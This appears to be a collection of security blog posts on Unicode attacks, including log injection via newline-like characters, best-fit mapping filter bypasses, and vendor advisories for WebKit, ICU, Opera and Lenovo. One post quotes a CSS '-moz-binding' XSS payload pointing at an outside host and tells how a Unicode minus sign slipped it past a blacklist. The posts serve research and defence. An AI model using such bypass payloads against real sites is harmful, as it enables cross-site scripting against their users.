With a standard certificate above there's a small green shield with a white check mark in the right-hand side of the address bar.

With an EVSSL certificate above there's the same small green shield with a white check mark in the right-hand side of the address bar.

Safari 5

With a standard certificate above there's a small gray padlock in the right-hand side of the address bar.

With an EVSSL certificate above there's a small gray padlock in the right-hand side of the address bar.

Just couldn't resist putting in a shot of a standard certificate with errors (host name does not match).

Injecting new line characters (e.g. CR LF) into security logs with Unicode

noreply@blogger.com (Chris Weber) — Wed, 11 May 2011 16:04:00 +0000

Today I was asked if ESAPI's approach to sanitizing log messages for CRLF (carriage return, line feed) injection was sound. "CRLF Injection" in this case describes an attack whereby textual content such as records in a security log can be forged. Imagine if a plain text security log file separates log entries with two CRLF sequences. I'm using plain text here to keep it simple, but hopefully real logs would be using some form of markup. In hex this would look like 0x0D 0x0A 0x0D 0x0A. If the input validation routines did not sanitize CR LF characters then an attacker could manipulate their input to create what appeared to be new records in the log. Here's a snippet from ESAPI which attempts to protect against this:

// ensure no CRLF injection into logs for forging records

String clean = message.replace('\n', '_').replace('\r', '_');
if (ESAPI.securityConfiguration().getLogEncodingRequired()) {
clean = ESAPI.encoder().encodeForHTML(message);
if (!message.equals(clean)) {
clean += " (Encoded)";
}

}

Note:I have never worked with or tested ESAPI. I don't know what actions the methods getLogEncodingRequired() and encodeForHTML(message) perform, so I don't know at all if ESAPI would be vulnerable to the attacks I'm about to describe. Maybe someone from ESAPI can jump in. I'm only using ESAPI to make the example more realistic.

ESAPI is concerned with the visual (human-readable) appearance of log entries here and not how software processes the characters in those entries. There seem to be three vectors that would screw up ESAPIs logic for protecting against CRLF injection:

Unicode normalization that decomposes and maps a character (or set of) to either a CR or an LF
* Not a problem.

Charset best-fit mappings that map input characters to either CR or LF during transcoding
* Unpredictable problem.

Unicode characters that provide the same visual effect as CR and LF
* Definitely a problem.

#1 you don’t have to worry about it. The four Unicode normalization forms do not map any characters to CR or LF.

#2 Best-fits are tough to predict, because they can differ per platform. Below are the set of characters I know that will best-fit map to either U+000A (LF) or U+000D (CR) in the given charset (e.g. CP424).

000A	008E	#REPEAT	CP424
000A	25D9	--		IBMGRAPH
000A	008E	#CONTROL	CP037
000A	008E	#CONTROL	CP1026
000A	008E	#CONTROL	CP500
000A	008E	#CONTROL	CP875
000A	2326	# ERASE TO THE RIGHT # Delete right (right-to-left text)	KEYBOARD
000D	266A	02	IBMGRAPH

#3 Here is the most practical and most obvious attack. Each of the following Unicode characters (code points) will create a visual “new line” effect.

U+000A  LINE FEED (LF)
U+000B  LINE TABULATION
U+000D  CARRIAGE RETURN (CR)
U+000C  FORM FEED (FF)
U+0085  NEXT LINE (NEL)
U+2028 LINE SEPARATOR
U+2029 PARAGRAPH SEPARATOR

Meaning ESAPI should be filtering out all of these as well if it plans to handle Unicode input.

Of course there’s a #4 I didn’t mention – concerning the target locale and character encoding of the logs.

I assume this ESAPI function is concerned with logs written to using Latin characters in a Western locale. I tend to agree that blacklisting is not the best answer but sometimes it makes sense and works. If the logs are written out in plain text encoded with UTF-8 or other Unicode encoding then #3 above would be a problem.

Isn’t the whacky world of Unicode and internationalization fun?

List of characters for testing Unicode transformations and best-fit mapping to dangerous ASCII

noreply@blogger.com (Chris Weber) — Mon, 20 Dec 2010 11:05:00 +0000

I'm attaching two CSV files for use in test cases and tools. The uni2asc.csv contains all of the Unicode characters that map to something ASCII < 0x80. The bestfit.csv contains all of the known best-fit mappings to dangerous ASCII between legacy charsets and Unicode.

uni2asc.csv - for straight Unicode to Unicode mappings
bestfit.csv - for legacy charset to Unicode mappings

I gave these to Gareth so they may wind up in HackVertor.

The Unicode database contains meta data about every character, including compatibility mappings, normalization mappings, case mappings, and other decomposition data. It's useful for testing to know what special Unicode characters may transform to dangerous ASCII. For example:

U+2134 SCRIPT SMALL O character will transform to the U+006F LATIN SMALL LETTER in certain cases

Of course, if you're testing for SQL injection or XSS you probably want to know what transforms to dangerous characters like ' and <. We attempted to automate some of this in our x5s tool which has done a good job so far, and we have a big update for that coming soon.

In the bestfit.csv file you'll find all of best-fit mappings from Unicode to dangerous ASCII < 0x80 (and vice versa) in many of the legacy charsets from http://unicode.org/Public/MAPPINGS/. There's some wild legacy stuff in here. For example:

In APL-ISO-IR-68, 0x27 maps to 0x5D in Unicode, and vice versa.

If you put these to use anywhere please let me know so I can pass the word along.

Advisory: Certain domain names could allow execution of arbitrary code in Opera

noreply@blogger.com (Chris Weber) — Wed, 18 Nov 2009 21:50:00 +0000

Opera released 10.01 recently, which fixed a memory corruption issue found with Casaba’s IDN/URI fuzzer.

http://www.opera.com/support/kb/view/938/

Unibomber tool for specialized XSS testing

noreply@blogger.com (Chris Weber) — Mon, 27 Jul 2009 21:47:00 +0000

At Black Hat I’m planning to demo a new tool we’ve been putting together at Casaba Security. It’s mostly a brute force input testing tool right now, aimed at finding cross-site scripting (XSS) bugs but with a unique set of techniques. It automates the testing process greatly, by auto-injecting a canary and ID into each input be it query string, HTTP header, or POST parameter.

It basically bombs a Web-app with a slew of Unicode characters to find XSS bugs – hence the name – Unibomber.

Appended to the canary is a special character – special because it can transform into a ‘dangerous’ character through normalization, casing, or best-fit mapping operations. So we end up injecting these special characters all over the place and then detecting where they get transformed and displayed as output.

The beauty is that we can find both reflected and persistent XSS bugs this way. It’s not a one-click tool though, this is intended rather for an experienced person, who knows how to find and exploit an XSS bug. The Unibomber assists the pen-tester by automating input-injection and ‘output encoding’ detection to find the vulnerability hotspots.

Advisory: Webkit – Visiting a maliciously crafted website may lead to a cross-site scripting attack

noreply@blogger.com (Chris Weber) — Mon, 08 Jun 2009 21:46:00 +0000

More from: http://support.apple.com/kb/HT3613

CVE-ID: CVE-2006-2783

Available for: Mac OS X v10.4.11, Mac OS X Server v10.4.11, Mac OS X v10.5.7, Mac OS X Server v10.5.7, Windows XP or Vista

Impact: Visiting a maliciously crafted website may lead to a cross-site scripting attack

Description: WebKit ignores Unicode byte order mark sequences when parsing web pages. Certain websites and web content filters attempt to sanitize input by blocking specific HTML tags. This approach to filtering may be bypassed and lead to cross-site scripting when encountering maliciously-crafted HTML tags containing byte order mark sequences. This update addresses the issue through improved handling of byte order mark sequences. Credit to Chris Weber of Casaba Security, LLC for reporting this issue.

Advisory: International Components for Unicode – Maliciously crafted content may bypass website filters and result in cross-site scripting

noreply@blogger.com (Chris Weber) — Mon, 08 Jun 2009 21:20:00 +0000

Update from: http://support.apple.com/kb/HT3613

CVE-ID: CVE-2009-0153

Available for: Windows XP or Vista

Impact: Maliciously crafted content may bypass website filters and result in cross-site scripting

Description: An implementation issue exists in ICU’s handling of certain character encodings. Using ICU to convert invalid byte sequences to Unicode may result in over-consumption, where trailing bytes are considered part of the original character. This may be leveraged by an attacker to bypass filters on websites that attempt to mitigate cross-site scripting. This update addresses the issue through improved handling of invalid byte sequences. For Mac OS X v10.5 systems, this issue is addressed in Mac OS X v10.5.7. Credit to Chris Weber of Casaba Security for reporting this issue.

Major applications fail to include full Unicode support

noreply@blogger.com (Chris Weber) — Sat, 23 May 2009 21:19:00 +0000

As I’ve found with most of the major Web-apps out there, including social media giants like Facebook and others, Unicode support is far from complete. I’m not a big MySQL guy, but have been building some stuff lately and ran into this:

http://dev.mysql.com/doc/refman/6.0/en/faqs-cjk.html#qandaitem-22-11-1-16

Basicall MySQL version < 6.0.4 doesn’t support characters outside the BMP (Basic Multilingual Plane) which seems to be a common pattern for a lot of software. The BMP is all code points 0×0000 to 0xFFFF, however, Unicode stretches far beyond to 0×10FFFF. It makes sense I suppose, after all the BMP is made of the most commonly used scripts, the stuff beyond it (supplementary) are usually considered rare.

Advisory: International Components for Unicode CVE-2009-0153

noreply@blogger.com (Chris Weber) — Fri, 15 May 2009 21:18:00 +0000

Big ones from Apple today: http://support.apple.com/kb/HT3549

CVE-ID: CVE-2009-0153

Available for: Mac OS X v10.5 through v10.5.6, Mac OS X Server v10.5 through v10.5.6

Impact: Maliciously crafted content may bypass website filters and result in cross-site scripting

Description: An implementation issue exists in ICU’s handling of certain character encodings. Using ICU to convert invalid byte sequences to Unicode may result in over-consumption, where trailing bytes are considered part of the original character. This may be leveraged by an attacker to bypass filters on websites that attempt to mitigate cross-site scripting. This update addresses the issue through improved handling of invalid byte sequences. This issue does not affect systems prior to Mac OS X v10.5. Credit to Chris Weber of Casaba Security for reporting this issue.

Unicode security attacks and test cases – Best-fit mappings and String transformations

noreply@blogger.com (Chris Weber) — Thu, 07 May 2009 21:15:00 +0000

Best-fit mappings are another complex topic in Unicode, easily overlooked or misunderstood. On the defensive side, if you can only remember two things:

Converting to Unicode is safe.

Converting between legacy character sets is dangerous.

Ah forget it, unfortunately it’s more complicated than that, because basic string handling can also trigger best-fit behavior even when you aren’t intentionally converting between encodings or charsets.

The term best-fit mapping describes the concept of how a character should be represented when it doesn’t have an explicit place in a destination character set.

I’ve actually pulled off some interesting cross-site scripting attacks by exploiting best-fit mappings. In 2008 I was testing a popular social networking app. They just implemented a new profile editor complete with user-ccontrolled CSS. They were smart though, they actually knew that stuff like this would lead to XSS:

−moz−binding: url(http://nottrusted.com/gotcha.xml#xss)

So they implemented some sort of blacklist because well that’s common. Anyway, somewhere in the callstack of their parsing and filtering, the string I passed in was being transformed. To get to the point, I eventually figured out I could manipulate the input with a character that would pass through their filter, and come out transformed into the character I needed. The input:

−moz−binding: url(http://nottrusted.com/gotcha.xml#xss)

The first character here is U+2212, the MINUS SIGN (−) which was being transformed through an apparent best-fit mapping into U+002D, or -.

The Watcher security testing tool I released a few months ago has a new check coming to detect string transformations like this. My plan was to detect spots where strings can be manipulated to pull off attacks like I just described. Does anyone want to test this, and are there any other good stories about manipulating best-fit mappings to pull off attacks?

Ultrafast UTF-8 decoder by Bjoern Hoehrmann

noreply@blogger.com (Chris Weber) — Fri, 24 Apr 2009 21:14:00 +0000

I believe this is still getting tested by several parties, but it’s obviously a highly optimized implementation of a UTF-8 decoder. Bjoern Hoehrmann released his Flexible and Economical UTF-8 Decoder recently, check it out:
// Copyright (c) 2008-2009 Bjoern Hoehrmann
// See http://bjoern.hoehrmann.de/utf-8/decoder/dfa/ for details.

#define UTF8_ACCEPT 0
#define UTF8_REJECT 1

static const uint8_t utf8d[] = {
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 00..1f
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 20..3f
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 40..5f
0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0, // 60..7f
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9,9, // 80..9f
7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7,7, // a0..bf
8,8,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2,2, // c0..df
0xa,0x3,0x3,0x3,0x3,0x3,0x3,0x3,0x3,0x3,0x3,0x3,0x3,0x4,0x3,0x3, // e0..ef
0xb,0x6,0x6,0x6,0x5,0x8,0x8,0x8,0x8,0x8,0x8,0x8,0x8,0x8,0x8,0x8, // f0..ff
0x0,0x1,0x2,0x3,0x5,0x8,0x7,0x1,0x1,0x1,0x4,0x6,0x1,0x1,0x1,0x1, // s0..s0
1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,0,1,1,1,1,1,0,1,0,1,1,1,1,1,1, // s1..s2
1,2,1,1,1,1,1,2,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1, // s3..s4
1,2,1,1,1,1,1,1,1,2,1,1,1,1,1,1,1,1,1,1,1,1,1,3,1,3,1,1,1,1,1,1, // s5..s6
1,3,1,1,1,1,1,3,1,3,1,1,1,1,1,1,1,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1, // s7..s8
};

uint32_t inline
decode(uint32_t* state, uint32_t* codep, uint32_t byte) {
uint32_t type = utf8d[byte];

*codep = (*state != UTF8_ACCEPT) ?
(byte & 0x3fu) | (*codep << 6) :
(0xff >> type) & (byte);

*state = utf8d[256 + *state*16 + type];
return *state;
}

Unicode security attacks and test cases – fuzzing with Unicode

noreply@blogger.com (Chris Weber) — Thu, 23 Apr 2009 21:05:00 +0000

When it comes to fuzzing parsers, protocols, and other software, I want the fuzzer to be capable of producing tests specific to Unicode. Here’s what it should do at a minimum:

Generate half a surrogate pair in UTF-8 or UTF-16

Generate illformed byte sequences for UTF-8 and UTF-16

Generate overlong UTF-8

Generate unassigned and reserved code points

Generate codepoints outside of the valid range

Generate interesting control characters and characters with special meaning like the BOM, embedding, overrides, etc.

I’ve got some code that does most of these things. Maybe I should elaborate on them some more… Does Peach or another fuzzing framework provide this already?

Unicode security attacks and test cases – Normalization expansion for buffer overflows

noreply@blogger.com (Chris Weber) — Fri, 03 Apr 2009 21:03:00 +0000

Normalization, like casing operations, can cause changes to the number of characters and bytes in a string. In testing software, I want to know how to get the most bang for my buck – in other words, what’s the minimal input I can provide to cause the maximum character and byte exansion?

First step: Figure out what normalization operation your input is going through – NFC, NFD, NFCD, or NFKD.

Next step: Find the right input.

For example, if I pass in a character like U+2177 SMALL ROMAN NUMERAL EIGHT (ⅷ), I’ve passed in a single ‘character’ that takes three bytes [E2, 85, B7] to encode in UTF-8. If that character passes through a decomposed normalization form like NFKC or NFKD, then it has a compatibility mapping from one code point to four: U+0076 U+0069 U+0069 U+0069. Now those are all ASCII characters, so bytewise I didn’t really expand all that much, just one byte, but three extra characters.

Well there may be better cases than this one, just take a look at the maximum expansion factor table, courtesy of the Unicode Normalization FAQ:

Advisory: Lenovo/IBM ActiveX buffer overflow

noreply@blogger.com (Chris Weber) — Fri, 27 Mar 2009 21:01:00 +0000

CERT released the advisory for this, which I believe is not being fixed by Lenovo/IBM.

http://www.kb.cert.org/vuls/id/340420

This ActiveX control comes preinstalled on many Lenovo systems, and is also downloaded from the main page of their support site. It’s a nasty stack-based buffer overflow, and enterprises and other consumers should consider how to workaround this.